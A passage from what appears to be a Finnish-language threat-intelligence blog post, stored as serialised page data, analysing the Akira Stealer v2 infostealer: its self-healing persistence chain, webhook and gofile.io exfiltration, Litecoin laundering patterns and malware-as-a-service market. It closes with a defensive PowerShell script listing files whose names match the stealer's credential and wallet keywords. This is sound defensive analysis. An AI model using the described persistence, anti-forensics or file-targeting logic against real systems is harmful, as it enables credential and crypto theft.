rajoitukset",[631,10725,10726,10735],{},[634,10727,10728,10731,10732,10734],{},[568,10729,10730],{},"Ei paikallista lokitusta",": Haittaohjelma ei kirjoita ",[579,10733,10556],{},"-osoitetta levylle tai järjestelmälokeihin.",[634,10736,10737,10740],{},[568,10738,10739],{},"EDR:n katvealueet",": Työkalut kuten Microsoft Defender for Endpoint voivat merkitä HTTP-pyyntöyrityksen, mutta eivät voi poimia upotettua URL-osoitetta.",[526,10742,10743],{},[568,10744,10745],{},"4. Miksi analyytikko ei voi palauttaa tätä paikallisesti:",[631,10747,10748,10760,10781],{},[634,10749,10750,10753,10754,10756,10757,10759],{},[568,10751,10752],{},"Ei paikallista kopiota linkistä",": Haittaohjelma kirjoittaa ",[579,10755,10556],{},"-osoitteen vain muistiin ja lähettää sen verkon yli; se ",[4666,10758,1619],{}," tallenna tätä URL-osoitetta levylle tai lokeihin.",[634,10761,10762,10765,10766,10768,10773,10774,10776,10777,10780],{},[568,10763,10764],{},"Ohimenevän vaiheistuksen siivous",": Välittömästi latauksen jälkeen koodi suorittaa:",[728,10767],{},[1718,10769,10772],{"className":10770},[10771],"text-monospace","shutil.rmtree(ROOT)",",",[728,10775],{},"\npyyhkien kaikki vaiheistetut artefaktit (mukaan lukien kaikki ohimenevät tekstitiedostot) ",[579,10778,10779],{},"%TEMP%",":stä.",[634,10782,10783,10786,10787,10790],{},[568,10784,10785],{},"Vain verkon yli tapahtuva lähetys",": Webhook-kutsut (",[579,10788,10789],{},"requests.post",") tapahtuvat muistissa; uhrin koneelle ei luoda HTTP-lokeja eikä selaushistorian merkintöjä.",[856,10792,10793],{},[526,10794,10795,10798,10799,10801,10802,10804],{},[568,10796,10797],{},"Vaikutus analyytikoille:","\nIlman live-pakettikaappausta (esim. network TAP tai välityspalvelin) suorituksen hetkellä tarkka ",[579,10800,10556],{}," on palautumaton tartunnan jälkeen.\nLisäksi exfiltroitu arkisto poistetaan automaattisesti hosting-palvelusta, mikä pienentää entisestään forensisen haun ikkunaa.\nTartunnan jälkeinen levykuvaus tai isäntäpohjainen forensinen palautus ",[4666,10803,1619],{}," paljasta hyökkääjän URL-osoitetta tai tiedostoisännän tunnistetietoja, koska paikallisia artefakteja ei jää.",[862,10806],{"className":10807},[865,866],[748,10809,10811],{"id":10810},"_713-johtopäätös","7.13 Johtopäätös",[526,10813,754],{},[526,10815,10816,10818],{},[579,10817,610],{}," (Akira Stealer v2) on kattava, kaupallisesti jaeltu stealer-työkalupakki. Se yhdistää laajan kohdennuksen, hienostuneen analyysin vastaisuuden, dynaamisen infrastruktuurin hallinnan ja koko pinon kattavan tietovarkauden tunnistetietojen, kryptovaluuttojen, järjestelmän profiloinnin ja käyttäjätiedostojen osalta. Sen modulaarisuus ja huomaamattomuus yhdistettynä nopeisiin uudelleentartuntamenetelmiin tekevät siitä yhden teknisesti kehittyneimmistä stealereista, joita on havaittu aktiivisessa käytössä.",[557,10820,10822],{"id":10821},"_8-kiertävä-suoritusketju-itsekorjautuva-silmukka","8. Kiertävä suoritusketju: itsekorjautuva silmukka",[526,10824,563],{},[526,10826,10827,10828,10831],{},"Yksi tämän kampanjan teknisesti hienostuneimmista elementeistä on sen regeneratiivinen, kiertävä suoritusmalli. Toisin kuin tavanomaiset haittaohjelmat, joissa on lineaariset vaiheet dropperista payloadiin ja sitten katoaminen, tämä operaatio oli suunniteltu ",[568,10829,10830],{},"suljetuksi silmukaksi"," — jossa jokainen komponentti vahtii muita.",[526,10833,10834,10835,10838],{},"Tämä ",[568,10836,10837],{},"itsekorjautuva arkkitehtuuri"," teki tartuntaketjusta paitsi pysyvän myös autonomisen. Se pystyi palautumaan täysin osittaisista poistoista. Niin kauan kuin yksi palanen pysyi hengissä, koko haittaohjelmaekosysteemi pystyi kokoamaan itsensä uudelleen.",[748,10840,10842],{"id":10841},"_81-käyttäytymisen-erittely","8.1 Käyttäytymisen erittely",[526,10844,754],{},[738,10846,10847,10873,10886,10915,10933],{},[634,10848,10849,10854,10856,10857,10860,10861,10863,10864,10866,10867,10869,10870,10872],{},[568,10850,10851,10852,1149],{},"Persistence-ankkuri (",[579,10853,602],{},[579,10855,602],{}," toimii perustavana jalansijana. Se pudotetaan tyypillisesti Windowsin käyttäjän käynnistyssijaintiin, kuten ",[579,10858,10859],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",", tai rekisteröidään ",[579,10862,1690],{}," -avaimen kautta. Sen tehtävä on yksinkertainen mutta kriittinen: varmistaa, että ",[579,10865,606],{}," on paikalla, ja käynnistää se hiljaa käyttäjän kirjautumisen yhteydessä. Jos ",[579,10868,606],{}," puuttuu, se purkaa uudelleen arkiston ",[579,10871,1860],{}," (joka sijaitsee väliaikaiskansiossa tai pudotetaan uudelleen) ja regeneroi koko Electron-sovellusrakenteen.",[634,10874,10875,10880,10882,10883,10885],{},[568,10876,10877,10878,1149],{},"Siltaloader (",[579,10879,606],{},[579,10881,606],{}," on Electron-käärittynä Node.js-sovellus. Se ei paljasta mitään käyttöliittymää ja toimii kokonaan taustalla. Suorituksen käynnistyttyä se ajaa ",[579,10884,1082],{},"-arkistoon upotetun JavaScript-logiikan käyttäen Node.js:ää ajoympäristönä. Tämä abstraktiokerros irrottaa ydinlogiikan PE-tyngästä ja auttaa väistämään perinteistä analyysiä.",[634,10887,10888,10893,10895,10896],{},[568,10889,10890,10891,1149],{},"Suorituksen orkestroija (",[579,10892,2843],{},[579,10894,1082],{},":iin upotettuna tämä on tartuntaketjun todellinen ohjain. Sen keskeisiä toimintoja ovat:",[631,10897,10898,10903,10906],{},[634,10899,10900,10902],{},[579,10901,602],{},":n läsnäolon tarkistaminen ja sen uudelleentoimitus, jos se puuttuu",[634,10904,10905],{},"Ajonaikaisen konfiguraation dynaaminen injektointi: webhook-URL:t, C2-osoitteet, tokenit",[634,10907,10908,10909,10911,10912,10914],{},"Joko jo läsnä olevan Python-payloadin (",[579,10910,610],{},") kutsuminen tai sen lataaminen osana ZIP-pakettia (esim. ",[579,10913,2908],{},") hyökkääjän hallitsemasta infrastruktuurista",[634,10916,10917,10922,10923,10925,10926,10928,10929,10932],{},[568,10918,10919,10920,1149],{},"Payloadin suoritus (",[579,10921,610],{},"\nKun ",[579,10924,610],{}," laukaistaan, se suoritetaan muistissa ",[579,10927,581],{},":n kautta. Se kerää järjestelmällisesti tallennetut tunnistetiedot, evästeet, Discord-tokenit, selaimen istuntodatan ja kryptovaluuttalompakkolaajennukset. Data vaiheistetaan ZIP-arkistoon ja exfiltroidaan HTTPS:n kautta — yleisesti Discord-webhookeihin, mutta myös vara-API:ta kuten ",[579,10930,10931],{},"gofile.io"," tai räätälöityjä C2-päätepisteitä on havaittu.",[634,10934,10935,10938,10939,10941,10942,10944,10945,10947,10948,10950,10951,10953],{},[568,10936,10937],{},"Silmukan eheys ja itsekorjautuminen","\nSuunnittelu on kiertävä. Jos ",[579,10940,602],{}," poistetaan, se toimitetaan uudelleen. Jos ",[579,10943,606],{}," puuttuu, ",[579,10946,602],{}," purkaa sen uudelleen arkistosta ",[579,10949,1860],{},". Jos ",[579,10952,610],{}," poistetaan, JavaScript-kerros hankkii sen uudelleen. Tämä keskinäisriippuvuus tekee haittaohjelmasta kestävän ja kykenevän rekonstruoimaan suoritusketjunsa käytännössä mistä tahansa säilyneestä sirpaleesta.",[526,10955,10956,10957,10960],{},"Tämä arkkitehtuuri ei ole vain modulaarinen — se on ",[568,10958,10959],{},"itseään ylläpitävä",", tarkoituksella suunniteltu huomaamattomuuteen, joustavuuteen ja pitkäaikaiseen selviytymiseen kohdeympäristöissä.",[748,10962,10964],{"id":10963},"_82-miksi-tämä-on-huomionarvoista","8.2 Miksi tämä on huomionarvoista",[526,10966,754],{},[526,10968,10969,10970,726],{},"Kampanjan arkkitehtoninen suunnittelu heijastaa hienostuneisuuden tasoa, jota ei tyypillisesti nähdä massainfostealereissa. Se menee yksinkertaisia monivaiheisia loadereita pidemmälle — tämä on haittaohjelma, joka on suunniteltu ",[568,10971,10972],{},"operatiiviseen kestävyyteen, huomaamattomuuteen ja automaatioon",[526,10974,10975],{},[568,10976,10977],{},"Keskeiset ominaisuudet",[631,10979,10980,10986,11023,11043],{},[634,10981,10982,10985],{},[568,10983,10984],{},"Täysi autonomia","\nKun haittaohjelma on otettu käyttöön, se ei vaadi käyttäjän toimia tai ulkoista uudelleenaktivointia. Se toimii kuin haitallinen mikropalvelu — orkestroiden oman persistenssinsä, payloadin suorituksen ja korjausrutiinit ilman ulkoista ohjausta.",[634,10987,10988,10991,10992],{},[568,10989,10990],{},"Monikielinen suorituspino","\nTyökaluketju integroi:",[631,10993,10994,11003,11009,11015],{},[634,10995,10996,6284,10999,647,11001,1149],{},[568,10997,10998],{},"PE-binäärit",[579,11000,602],{},[579,11002,606],{},[634,11004,11005,11008],{},[568,11006,11007],{},"Node.js / JavaScript"," (Electronin kautta)",[634,11010,11011,11014],{},[568,11012,11013],{},"PowerShell"," (käytetty obfuskoituun payloadin välitykseen)",[634,11016,11017,6284,11020,11022],{},[568,11018,11019],{},"Python",[579,11021,610],{},", suoritettu muistinvaraisena stealerina)\nTämä kerroksellinen koostumus tekee sen profiloinnista, sormenjälkien keräämisestä ja analyysistä vaikeampaa perinteisillä staattisilla työkaluilla.",[634,11024,11025,11028,11029],{},[568,11026,11027],{},"Puolustuksen väistely suunnitteluperiaatteena","\nJokainen komponentti on koodattu, salattu tai dynaamisesti injektoitu:",[631,11030,11031,11034,11037,11040],{},[634,11032,11033],{},"Base64-PowerShell-välitys",[634,11035,11036],{},"AES-salattu ja GZIP-pakattu Python-ydin",[634,11038,11039],{},"Obfuskoitu JavaScript ajonaikaisella tokenien injektoinnilla",[634,11041,11042],{},"Itsekorjautuva käyttäytyminen, joka turhauttaa osittaisen poiston",[634,11044,11045,11048,11049,10950,11052,11054,11055,11057],{},[568,11046,11047],{},"Ei yksittäistä vikaantumispistettä","\nHaittaohjelman itsekorjauslogiikka varmistaa, että ",[568,11050,11051],{},"yksittäisen komponentin poistaminen ei riitä",[579,11053,602],{}," poistetaan, infostealer luo sen uudelleen. Jos ",[579,11056,610],{}," poistetaan, JavaScript-ohjain lataa ja toimittaa sen uudelleen.",[526,11059,11060,11061,11064],{},"Lyhyesti sanottuna haittaohjelma käyttäytyy enemmän kuin ",[568,11062,11063],{},"hajautettu järjestelmä"," kuin tyypillinen payload — sellainen, joka priorisoi selviytymiskykyä, modulaarisuutta ja huomaamattomuutta.",[526,11066,11067,11068,11071],{},"Tämä nostaa uhan opportunistisesta hyökkäyksestä ",[568,11069,11070],{},"kestäväksi, mukautuvaksi alustaksi"," — mikä vaatii puolustajilta yhtä kerroksellisia havaitsemis- ja vastestrategioita sen monimutkaisuuden vastaamiseksi.",[748,11073,11075],{"id":11074},"_83-vaikutukset-blue-teameille","8.3 Vaikutukset blue teameille",[526,11077,754],{},[526,11079,11080],{},"Puolustajille ja CSOC-operaattoreille tämänkaltainen arkkitehtuuri nostaa rimaa:",[631,11082,11083,11089,11104],{},[634,11084,11085,11088],{},[568,11086,11087],{},"Osittainen siivous on tehotonta",". Kaikki solmut on tunnistettava ja poistettava samanaikaisesti.",[634,11090,11091,11094,11095,11097,11098,11097,11100,11097,11102,726],{},[568,11092,11093],{},"Defender for Endpointin korrelointi"," on olennaista. Analyytikoiden on jäljitettävä koko ketjut: ",[579,11096,602],{}," → ",[579,11099,1138],{},[579,11101,1233],{},[579,11103,581],{},[634,11105,11106,11109],{},[568,11107,11108],{},"IOC-vapaa persistence"," tarkoittaa, että muistipohjaiset heuristiikat, telemetrian perustason määrittäminen ja ketjupohjainen havaitseminen ovat avainasemassa.",[526,11111,11112,11113,11116],{},"Tämä ei ole vain stealer. Se on ",[568,11114,11115],{},"kestävä haittaohjelma-alusta"," — joka käyttäytyy enemmän kuin hajautettu järjestelmä kuin yksinkertainen uhka. Ja juuri se tekee siitä sekä vaikuttavan että vaarallisen.",[557,11118,11120],{"id":11119},"_9-lohkoketjun-jäljitys-ja-analyysi","9. Lohkoketjun jäljitys ja analyysi",[526,11122,563],{},[748,11124,11126],{"id":11125},"_91-varojen-jakautumisen-jäljittäminen-litecoin-pohjaisessa-haittaohjelmakampanjassa","9.1 Varojen jakautumisen jäljittäminen Litecoin-pohjaisessa haittaohjelmakampanjassa",[526,11128,754],{},[526,11130,11131,11132,11135],{},"Tämän haittaohjelmakampanjan reverse engineering -vaiheessa poimimme useita kovakoodattuja lompakko-osoitteita, joita stealer käytti kryptovaluutan exfiltraatioon. Seuraamalla näiden Litecoin-lompakoiden ketjunsisäistä toimintaa pystyimme paljastamaan kuvioita, jotka viittaavat tarkoitukselliseen rahanpesutaktiikkaan. Hyökkääjän hallitsema lompakko ",[579,11133,11134],{},"LW6EopiZ..."," toimii keskitettynä kokoamispisteenä. Useilta uhreilta varastetut varat ohjataan tähän osoitteeseen, minkä jälkeen ne jaetaan nopeasti uudelleen useisiin uusiin osoitteisiin.",[526,11137,11138],{},"Tässä nähty käyttäytyminen edustaa klassista split-transfer-kuviota, jota käytetään krypton tumblaus- tai mixaus-operaatioissa. Kussakin tapauksessa koko saapuva saldo jaetaan kahteen suunnilleen samansuuruiseen lähtevään tapahtumaan, joista kumpikin lähetetään eri lompakkoon. Tämä strategia on suunniteltu vaikeuttamaan osoitteiden klusterointia ja ketjun jäljitystä hämärtämällä varojen alkuperää. Se on tehokas taktiikka välttää havaitseminen automaattisilla lohkoketjuanalytiikoilla ja threat intelligence -alustoilla.",[526,11140,11141],{},"Tämä rahanpesukäyttäytyminen hyödyntää tapahtumien ajoituksen, tarkan arvojen jakamisen ja osoitteiden uudelleenkäytön minimoinnin yhdistelmää ohittaakseen heuristiikat, joita klusterointialgoritmit kuten GraphSense, Chainalysis tai TRM Labs yleisesti soveltavat. Kokonaistarkoituksena on luoda korkeaentropisia tapahtumavirtoja, jotka sekoittavat attribuution ja häiritsevät linkitettävyyttä, erityisesti kun varat lopulta sillataan muihin varoihin tai vaihdetaan yksityisyyteen keskittyviin kolikoihin.",[526,11143,11144],{},"Alla olevassa esimerkissä näytämme jäsennellyn osajoukon tästä käyttäytymisestä. Saapuvat tapahtumat edustavat erillisiä uhrisiirtoja. Nämä arvot on sitten täydellisesti kartoitettu lähteviin virtoihin, jotka osoittavat kolikoiden \"pesun\" nopeiden, ennustettavien ja algoritmisesti jaettujen maksujen kautta.",[1430,11146,4719,11150],{"className":11147,"style":11149},[11148],"font-size-1","width:100%; border-collapse: collapse;",[1446,11151,11152,4719,11175,4719,11208,4719,11236,4719,11265],{},[1436,11153,4724,11154,4724,11158,4724,11162,4724,11165,4724,11169,4724,11172,4719],{},[1439,11155,11157],{"style":11156},"text-align: left; width: 14%;","Syötelähde",[1439,11159,11161],{"style":11160},"text-align: left; width: 12%;","Syötepäivä",[1439,11163,11164],{"style":11156},"Määrä sisään (LTC)",[1439,11166,11168],{"style":11167},"text-align: left; width: 20%;","→ Hyökkääjän lompakko",[1439,11170,11171],{"style":6340},"Ulosmenevät osoitteet",[1439,11173,11174],{},"Yhteensä ulos (LTC)",[1436,11176,4724,11177,4724,11180,4724,11183,4724,11186,4724,11193,4724,11206,4719],{},[1451,11178,11179],{},"Input_1",[1451,11181,11182],{},"2024-09-21",[1451,11184,11185],{},"0.25339198",[1451,11187,11188,11189,4724],{},"\n      ",[1718,11190,11192],{"title":11191},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1451,11194,11195,11196,11199,11200,11195,11202,11205],{},"\n      - ",[579,11197,11198],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[728,11201],{},[579,11203,11204],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1451,11207,11185],{},[1436,11209,4724,11210,4724,11213,4724,11216,4724,11219,4724,11223,4724,11234,4719],{},[1451,11211,11212],{},"Input_2",[1451,11214,11215],{},"2024-04-16",[1451,11217,11218],{},"1.09976044",[1451,11220,11188,11221,4724],{},[1718,11222,11192],{"title":11191},[1451,11224,11195,11225,11228,11229,11195,11231,11233],{},[579,11226,11227],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[728,11230],{},[579,11232,11227],{}," (0.25671380, 2024-06-13)\n    ",[1451,11235,11218],{},[1436,11237,4724,11238,4724,11241,4724,11244,4724,11247,4724,11251,4724,11263,4719],{},[1451,11239,11240],{},"Input_3",[1451,11242,11243],{},"2024-03-06",[1451,11245,11246],{},"0.77089346",[1451,11248,11188,11249,4724],{},[1718,11250,11192],{"title":11191},[1451,11252,11195,11253,11256,11257,11195,11259,11262],{},[579,11254,11255],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[728,11258],{},[579,11260,11261],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1451,11264,11246],{},[1436,11266,4724,11267,4724,11270,4724,11272,4724,11274,4724,11278,4724,11288,4719],{},[1451,11268,11269],{},"Input_4",[1451,11271,11243],{},[1451,11273,11246],{},[1451,11275,11188,11276,4724],{},[1718,11277,11192],{"title":11191},[1451,11279,11195,11280,11256,11283,11195,11285,11262],{},[579,11281,11282],{},"LUFLTrqYpix...",[728,11284],{},[579,11286,11287],{},"La22dfH9eM...",[1451,11289,11246],{},[862,11291],{"className":11292},[865,866],[557,11294,11296],{"id":11295},"_10-akira-ekosysteemin-sisällä-kaupallistettu-kyberrikollisuuden-infrastruktuuri","10. Akira-ekosysteemin sisällä – kaupallistettu kyberrikollisuuden infrastruktuuri",[526,11298,563],{},[526,11300,11301],{},"Akira ei ole vain stealer—se on kukoistavan maanalaisen ekosysteemin keskipiste, joka on suunniteltu yksinkertaistamaan, skaalaamaan ja rahastamaan kyberrikollisuutta.",[748,11303,11305],{"id":11304},"_101-plug-and-play-ekosysteemi-uhkatoimijoille","10.1 Plug-and-play-ekosysteemi uhkatoimijoille",[526,11307,754],{},[526,11309,11310],{},"Akira-ekosysteemi on esimerkki kyberrikollisuuden kehityksestä ammattimaiseksi, palveluvetoiseksi taloudeksi. Siihen kuuluu:",[631,11312,11313,11322,11328,11334,11340],{},[634,11314,11315,11318,11319,1149],{},[568,11316,11317],{},"Builder-botit"," payloadien tilausgenerointiin (esim. ",[579,11320,11321],{},"@AkiraRedBot",[634,11323,11324,11327],{},[568,11325,11326],{},"Telegram-kanavat"," päivityksiä, ominaisuuspyyntöjä ja asiakastukea varten",[634,11329,11330,11333],{},[568,11331,11332],{},"Automatisoitu lisensointi ja maksujen käsittely",", usein suoraviestien tai anonyymien verkkokauppa-alustojen kuten Sellixin kautta",[634,11335,11336,11339],{},[568,11337,11338],{},"Niputetut moduulit",", kuten leikepöydän kaappaajat, Discord-tokenien loggerit, selaindatan stealerit ja jopa kiristyshaittaohjelmalisäosat",[634,11341,11342,11345],{},[568,11343,11344],{},"Mukautettavat payloadit",", joissa on konfiguraatiokäyttöliittymät kytkinvalintoineen, webhook-syötteineen ja ikonibrändäyksineen",[526,11347,11348],{},[782,11349],{"alt":11350,"src":11351},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[748,11353,11355],{"id":11354},"_102-kyberrikollisuuden-kaupallistaminen","10.2 Kyberrikollisuuden kaupallistaminen",[526,11357,754],{},[526,11359,11360],{},"Akiran rakenne heijastaa laajempaa liikettä kohti \"Malware-as-a-Service\"-mallia (MaaS), jossa:",[631,11362,11363,11369,11375,11381],{},[634,11364,11365,11368],{},[568,11366,11367],{},"Syvää teknistä osaamista"," ei vaadita hyökkäysten käynnistämiseen",[634,11370,11371,11374],{},[568,11372,11373],{},"Matalat aloituskustannukset"," ($75 kolmeksi kuukaudeksi, $150 elinikäiseksi)",[634,11376,11377,11380],{},[568,11378,11379],{},"Välitön tuki ja dokumentaatio"," Telegramin kautta",[634,11382,11383,11386],{},[568,11384,11385],{},"Yhteisön panokset"," laajentavat Akiraa säännöllisesti skripteillä ja ominaisuusehdotuksilla",[526,11388,11389],{},"Tämä ekosysteemi peilaa laillisia SaaS-liiketoimintamalleja — muutoslokeineen, käyttökokemusparannuksineen, hinnoittelutasoineen ja lisämyynteineen.",[526,11391,11392],{},[782,11393],{"alt":11394,"src":11395},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[748,11397,11399],{"id":11398},"_103-stealerin-tuolla-puolen-ekosysteemin-komponentit","10.3 Stealerin tuolla puolen – ekosysteemin komponentit",[526,11401,754],{},[526,11403,1749,11404,11406],{},[579,11405,610],{}," on monien hyökkäysten sydän, ekosysteemi tarjoaa täyden ketjun:",[631,11408,11409,11412,11415,11418,11421],{},[634,11410,11411],{},"Obfuskointityökaluja kuten PyInstaller-kääreet",[634,11413,11414],{},"Tiedostobindereitä haitallisten payloadien yhdistämiseen vaarattomaan ohjelmistoon",[634,11416,11417],{},"Kääntäjiä, kryptereitä ja ajonaikaista polymorfismia",[634,11419,11420],{},"Hosting-peilejä payloadin toimitukseen ja exfiltraatioon (esim. GoFile, AnonFiles)",[634,11422,11423],{},"Datanhallintaboteja, jotka tekevät yhteenvedon varastetuista tunnistetiedoista ja laitteistoprofiileista",[526,11425,11426],{},[782,11427],{"alt":11428,"src":11429},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[557,11431,11433],{"id":11432},"_11-akira-stealer-quickcheck-kohteeksi-joutuneet-tiedostot","11. Akira Stealer QuickCheck: kohteeksi joutuneet tiedostot",[526,11435,563],{},[748,11437,11439],{"id":11438},"_111-mihin-tämä-on-tarkoitettu","11.1 Mihin tämä on tarkoitettu?",[526,11441,754],{},[526,11443,11444,11445,7649,11448,7649,11451,7652,11454,11457],{},"Epäillyn Akira Stealer -tartunnan jälkeen on kriittistä tietää heti, mitkä järjestelmäsi tiedostot olivat exfiltraation vaarassa. Yllä kuvattu QuickCheck PowerShell -skripti replikoi Akiran tarkan hakulogiikan: se skannaa käyttäjän ",[568,11446,11447],{},"Desktop",[568,11449,11450],{},"Documents",[568,11452,11453],{},"Downloads",[568,11455,11456],{},"OneDrive","-kansiot tiedostojen varalta, jotka:",[631,11459,11460,11475,11478],{},[634,11461,11462,11463,647,11466,647,11469,8808,11472],{},"Sisältävät arkaluonteisia avainsanoja tiedostonimessään, kuten ",[579,11464,11465],{},"password",[579,11467,11468],{},"wallet",[579,11470,11471],{},"backup",[579,11473,11474],{},"token",[634,11476,11477],{},"Ovat tiettyjä yleisesti kohteena olevia tiedostopäätteitä (.txt, .docx, .pdf, .jpg jne.)",[634,11479,11480],{},"Jäävät haittaohjelman asettaman 2 MB:n kokorajan alle",[526,11482,11483,11484,11487],{},"Vaikka QuickCheck tarjoaa nopean yleiskuvan Akira Stealerin sisäisen logiikan pohjalta, ",[568,11485,11486],{},"se ei korvaa"," kattavia forensisia työkaluja tai ammattimaista incident responsea. Seuraa vahvistettujen murtojen kohdalla aina syvemmällä analyysillä.",[526,11489,11490,11491,647,11494,647,11497,1291,11500,726],{},"Sen jälkeen se esittää lajitellun taulukon, jossa on ",[568,11492,11493],{},"tiedostonimi",[568,11495,11496],{},"suhteellinen polku",[568,11498,11499],{},"Size (KB)",[568,11501,11502],{},"osuman laukaissut avainsana",[856,11504,11505],{},[526,11506,11507,11510,11511,11514,11515,11517,11518,11521],{},[568,11508,11509],{},"DISCLAIMER","\nTämä työkalu toimitetaan ",[568,11512,11513],{},"”as is”"," ilman minkäänlaista takuuta täydellisyydestä tai soveltuvuudesta tiettyyn tarkoitukseen. Se ",[568,11516,1619],{}," takaa ",[568,11519,11520],{},"kaikkien"," mahdollisesti arkaluonteisten tiedostojen havaitsemista eikä korvaa täyttä haittaohjelmaforensiikkaa. Käyttö omalla vastuulla.",[862,11523],{"className":11524},[865],[748,11526,11528],{"id":11527},"oikeudellinen-huomautus","Oikeudellinen huomautus",[526,11530,754],{},[526,11532,11533,11534,11537,11538,11541],{},"Tämä QuickCheck-apuohjelma on tarkoitettu ainoastaan ",[568,11535,11536],{},"defensiivisiin tietoturva-arviointeihin",". Luvaton skannaus tai käyttö järjestelmissä, joita et omista, voi rikkoa yksityisyyttä, tekijänoikeutta tai tietokoneiden väärinkäyttöä koskevia lakeja. glueckkanja AG ei ota ",[568,11539,11540],{},"mitään vastuuta"," väärinkäytöstä tai vahingoista, jotka aiheutuvat sen käytöstä.",[748,11543,11545],{"id":11544},"powershell-skripti","PowerShell-skripti",[526,11547,754],{},[616,11549,11551],{"className":1712,"code":11550,"language":1714,"meta":530,"style":530},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[579,11552,11553,11558,11563,11568,11572,11577,11582,11587,11592,11597,11602,11606,11611,11616,11621,11625,11630,11635,11639,11644,11649,11654,11659,11664,11668,11673,11678,11683,11687,11691,11696,11700,11705,11709,11714,11719,11724,11729,11734,11739,11744,11748,11753,11758,11763,11768,11773,11778,11783,11788,11793,11797,11802,11807,11811,11816,11821,11826,11831,11836,11841,11846,11851,11855,11859,11863,11868,11872,11877,11882,11887,11891,11896,11901,11906,11911,11916,11921,11926,11932,11937,11943,11948,11954,11960,11965,11970,11976],{"__ignoreMap":530},[1718,11554,11555],{"class":1720,"line":1721},[1718,11556,11557],{},"\u003C#\n",[1718,11559,11560],{"class":1720,"line":531},[1718,11561,11562],{},".SYNOPSIS\n",[1718,11564,11565],{"class":1720,"line":2102},[1718,11566,11567],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1718,11569,11570],{"class":1720,"line":2108},[1718,11571,3889],{"emptyLinePlaceholder":325},[1718,11573,11574],{"class":1720,"line":2432},[1718,11575,11576],{},".DESCRIPTION\n",[1718,11578,11579],{"class":1720,"line":2438},[1718,11580,11581],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1718,11583,11584],{"class":1720,"line":3096},[1718,11585,11586],{},"      • Contain one of the defined keywords in their name\n",[1718,11588,11589],{"class":1720,"line":3892},[1718,11590,11591],{},"      • Have an allowed file extension\n",[1718,11593,11594],{"class":1720,"line":3898},[1718,11595,11596],{},"      • Are not larger than 2 MB\n",[1718,11598,11599],{"class":1720,"line":4144},[1718,11600,11601],{},"    Presents the results in a colored, tabular overview.\n",[1718,11603,11604],{"class":1720,"line":5063},[1718,11605,3889],{"emptyLinePlaceholder":325},[1718,11607,11608],{"class":1720,"line":5069},[1718,11609,11610],{},".NOTES\n",[1718,11612,11613],{"class":1720,"line":5075},[1718,11614,11615],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1718,11617,11618],{"class":1720,"line":5081},[1718,11619,11620],{},"#>\n",[1718,11622,11623],{"class":1720,"line":5087},[1718,11624,3889],{"emptyLinePlaceholder":325},[1718,11626,11627],{"class":1720,"line":5093},[1718,11628,11629],{},"# 